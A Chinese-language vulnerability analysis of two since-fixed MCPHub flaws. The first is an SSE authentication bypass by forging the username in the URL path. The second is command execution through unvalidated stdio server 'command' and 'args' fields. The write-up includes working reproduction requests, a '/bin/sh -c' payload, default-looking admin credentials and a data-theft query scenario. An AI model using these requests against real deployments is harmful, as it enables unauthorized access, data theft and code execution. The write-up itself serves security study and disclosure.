本文涉及的所有漏洞均已在新版本中修复,仅供安全研究与学习参考。
看到标题,你可能会以为这是一条完整的攻击链:先绕过认证,再执行命令。但实际上,本文讨论的两个高危漏洞彼此独立,没有任何依赖关系,它们被放在一起分析仅仅因为它们都出自同一个项目——MCPHub。
MCPHub 是什么?
MCPHub 是一个 MCP(Model Context Protocol)服务器的统一管理中间层。
它解决了这样一个问题:开发者本地或服务器上可能运行着多个不同的 MCP 服务,分别处理文件系统访问、数据库查询、网络请求等任务,每个服务都有独立的配置。MCPHub 的作用就是将这些服务汇聚到一个统一的 Server-Sent Events (SSE) 端点,这样 AI 客户端只需连接一个地址,就能调用所有已集成的工具。
搭建测试环境非常简单:
docker run -p 3000:3000 samanhappy/mcphub
身份认证绕过漏洞
这个漏洞的危害在于:攻击者不需要任何账号、密码或 Token,只需修改 URL 路径中的用户名参数,即可冒用任意用户的完整权限,调用该用户配置的所有 MCP 工具,包括执行数据库查询、文件读取和 API 调用等敏感操作。
需要明确的是,这个漏洞与后文将要分析的命令执行漏洞没有任何关联。它利用的是 SSE 长连接路径,完全绕过了标准的登录流程,不依赖 Token,也不会触发任何命令执行。
以下是漏洞复现的步骤:
终端一,建立 SSE 连接并获取 sessionId:
curl -N "http://127.0.0.1:3000/admin/sse/test"

终端二,使用上一步获取到的 sessionId 发起一个 JSON-RPC 请求,例如列出所有工具:
Invoke-WebRequest -Uri "http://127.0.0.1:3000/admin/messages?sessionId=b4c0771b-decc-4b0f-ab0a-52f0612b2191" `
-Method POST `
-ContentType "application/json" `
-Body '{"jsonrpc":"2.0","id":2,"method":"tools/list","params":{}}'

此时,终端一的 SSE 连接会立即收到服务器返回的响应,其中包含了 admin 用户配置的所有工具列表。

接下来,攻击者就可以直接调用这些工具。
漏洞原理分析
SSE 是一种允许服务器通过单个 HTTP 连接持续向客户端推送数据的技术。MCPHub 的 SSE 接入路由格式为:
GET /{username}/sse/{group}
漏洞的根源位于 mcphub-main/src/middlewares/userContext.ts 的中间件中。

这段代码直接从 req.params.user 获取用户名,并直接创建对应的用户对象,期间没有任何身份或权限验证。这导致了几个致命问题:
- 无条件信任 URL 参数:
req.params.user 的值完全由攻击者控制。
- 缺失身份验证:没有检查请求是否携带有效的认证凭证(如 Token、Session)。
- 缺失权限验证:没有验证请求者是否有权访问目标用户的资源。
- 直接设置用户上下文:系统调用了
setCurrentUser() 后,便完全信任了这个伪造的身份。
核心服务文件 mcphub-main/src/services/sseService.ts 中的设计缺陷进一步放大了漏洞的影响。首先,SessionContext 接口缺少关键的 userId 字段。

这意味着会话(session)不记录其所有者,handleSseMessage 函数在处理消息时,只判断 sessionId 是否存在,而无法验证该会话是否属于当前请求者。任何人只要获得有效的 sessionId 就能使用它。
其次,validateBearerAuth 函数存在严重的逻辑缺陷。

当系统未配置任何 Bearer 密钥(enabledKeys.length === 0,这是默认情况)时,该函数会直接返回 { valid: true },允许所有请求通过,完全跳过了身份验证。这使得在大多数未专门配置 Bearer 认证的 MCPHub 环境中,认证层形同虚设。
最后,handleSseConnection 和 handleSseMessage 函数组合形成了完整的利用链。


handleSseConnection 信任了中间件设置的(伪造的)用户上下文,并以此创建了属于该用户的 SSE 传输通道。随后,handleSseMessage 只验证 sessionId 的有效性,而不验证其归属。攻击者可以:
- 通过构造如
/admin/sse/test 的 URL 伪装成 admin 用户,获取一个 sessionId。
- 持续使用这个
sessionId 来执行 admin 用户的所有操作。
攻击流程拆解
步骤 1:客户端建立 SSE 连接
客户端向服务器发送 GET 请求,请求头需包含 Accept: text/event-stream。
GET /admin/sse/test HTTP/1.1
Host: 127.0.0.1:3000
Accept: text/event-stream
Connection: keep-alive
步骤 2:服务器返回 sessionId 并保持连接
服务器返回 200 OK,内容类型为 text/event-stream,并通过事件流推送 sessionId。
HTTP/1.1 200 OK
Content-Type: text/event-stream
event: endpoint
data: /admin/messages?sessionId=5b242344-ddf1-4c21-b8f4-0193d3467f1e
此时 SSE 连接保持打开,等待后续事件。
步骤 3:使用 sessionId 发送消息
客户端使用获取到的 sessionId,通过另一个 HTTP POST 请求发送 JSON-RPC 消息。
POST /admin/messages?sessionId=5b242344-ddf1-4c21-b8f4-0193d3467f1e HTTP/1.1
Host: 127.0.0.1:3000
Content-Type: application/json
{"jsonrpc":"2.0","id":2,"method":"tools/list","params":{}}
步骤 4:服务器通过 SSE 连接返回响应
event: message
data: {"result":{"tools":[]},"jsonrpc":"2.0","id":2}
漏洞危害场景
假设 admin 用户配置了一个用于查询公司数据库的 MCP 工具,攻击流程如下:
// 1. 伪装成 admin 建立连接
GET /admin/sse/company-db
// 2. 列出 admin 的所有工具
POST /admin/messages?sessionId=xxx
{"method":"tools/list"}
// 服务器响应,包含数据库查询工具
{
"tools": [
{
"name": "query_customer_data",
"description": "查询客户数据库"
}
]
}
// 3. 调用工具窃取数据
POST /admin/messages?sessionId=xxx
{
"method": "tools/call",
"params": {
"name": "query_customer_data",
"arguments": {
"query": "SELECT * FROM customers"
}
}
}
// 结果:成功获取所有客户敏感信息。
修复情况
在新版本中,validateBearerAuth 的逻辑已被修正。现在当 enableBearerAuth 为 true 但未配置密钥时,不再直接放行,而是会尝试验证 OAuth Token,验证失败则拒绝请求。

授权后命令执行漏洞
重要前提:利用此漏洞必须先登录并获得合法的 admin 权限 Token。/api/servers 接口使用的是标准的 JWT 认证,与 SSE 路径的认证逻辑无关,因此上文所述的 URL 用户名伪造漏洞对此接口无效。
这两个漏洞无法串联利用。通过漏洞一冒充 admin 仅能在 SSE 连接中设置用户上下文,这不会生成可用于 /api/servers 接口的 JWT Token。两条路径的认证体系是隔离的。
MCPHub 支持 stdio 类型的 MCP 服务器,其本质是在主机上启动一个子进程,通过标准输入/输出进行通信。漏洞在于,系统在添加服务器时,对 command 和 args 字段没有任何安全验证。攻击者可以填入 /bin/sh 及任意参数,服务器便会直接执行。
漏洞复现步骤
1. 登录获取 Token
首先,需要构造数据包登录系统以获取有效的 JWT Token。
POST /api/auth/login HTTP/1.1
Host: 127.0.0.1:8000
Content-Length: 42
accept-language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
content-type: application/json
Accept: */*
Origin: http://localhost:3000
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:3000/login
Accept-Encoding: gzip, deflate
Cookie: i18next=en
Connection: close
{"username":"admin","password":"admin123"}

2. 利用Token添加恶意服务器
使用上一步获取的 Token,构造数据包调用添加服务器接口,其中 command 和 args 字段被恶意控制。
POST /api/servers HTTP/1.1
Host: 127.0.0.1:8000
Content-Length: 105
accept-language: en
x-auth-token:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjp7InVzZXJuYW1lIjoiYWRtaW4iLCJpc0FkbWluIjp0cnVlfSwiaWF0IjoxNzcwMzYxNTAzLCJleHAiOjE3NzA0NDc5MDN9.rTpSwQ8dKOrfYndjcVIe04kXaG8aKMN6kSvU1FPX_IM
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
content-type: application/json
Accept: */*
Origin: http://localhost:3000
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:3000/login
Accept-Encoding: gzip, deflate
Cookie: i18next=en
Connection: close
{"name":"rce_test","config":{"type":"stdio","command":"/bin/sh","args":["-c","whoami > /tmp/pwned.txt"]}}

3. 验证命令执行
恶意服务器配置被添加后,相关进程会被自动启动并执行命令。进入容器即可验证命令已执行。
PS C:\Users\admin> docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
cke071626f07 samanhappy/mcphub "/usr/local/bin/entr…" About a minute ago Up About a minute 0.0.0.0:8000->3000/tcp amazing_diffie
PS C:\Users\admin> docker exec -it cb /bin/bash
root@cke071626f07:/app# ls /tmp
node-compile-cache pwned.txt
root@cke071626f07:/app# cat /tmp/pwned.txt
root

漏洞原理分析
漏洞链条贯穿控制器、服务层和底层传输创建逻辑。
1. 控制器层 (serverController.ts):输入验证极度缺失
createServer 函数存在严重缺陷:

2. 服务层 (mcpService.ts):毫无防范的数据持久化
addServer 函数直接将未经验证的配置保存到数据库。

3. 传输创建层:危险命令的最终执行
createTransportFromConfig 函数是命令执行的发生点。

- 命令与参数无验证:
conf.command 可以是任意路径(如 /bin/sh),conf.args 可包含任意参数或 Shell 元字符。
- 直接创建子进程:底层通过
StdioClientTransport 调用 Node.js 的 child_process.spawn(),直接执行攻击者控制的命令。
4. 自动执行机制
一旦恶意服务器配置被保存,系统初始化时会自动调用 initializeClientsFromSettings 等函数,触发 createTransportFromConfig,从而自动执行恶意命令,无需等待客户端调用。

总结与反思
本文深入分析了 MCPHub 项目中两个独立的高危安全漏洞:SSE 接口的身份认证绕过漏洞和授权后的远程命令执行漏洞。前者源于对用户输入的无条件信任和会话管理缺陷,后者则是因为对 stdio 类型服务器的配置缺乏最基本的命令与参数安全校验。这两个漏洞都暴露了在快速开发过程中,对安全边界的忽视可能带来的严重后果。对于从事 渗透测试 和安全研究的开发者而言,此类案例是绝佳的学习材料。同时,这也提醒所有 运维 和系统开发者,在集成类似需要执行外部命令的中间件时,必须实施严格的白名单、输入过滤和权限最小化原则。
希望这次深入的技术剖析能帮助社区开发者提升安全意识。更多精彩的技术漏洞分析和安全研究,欢迎访问 云栈社区 进行交流探讨。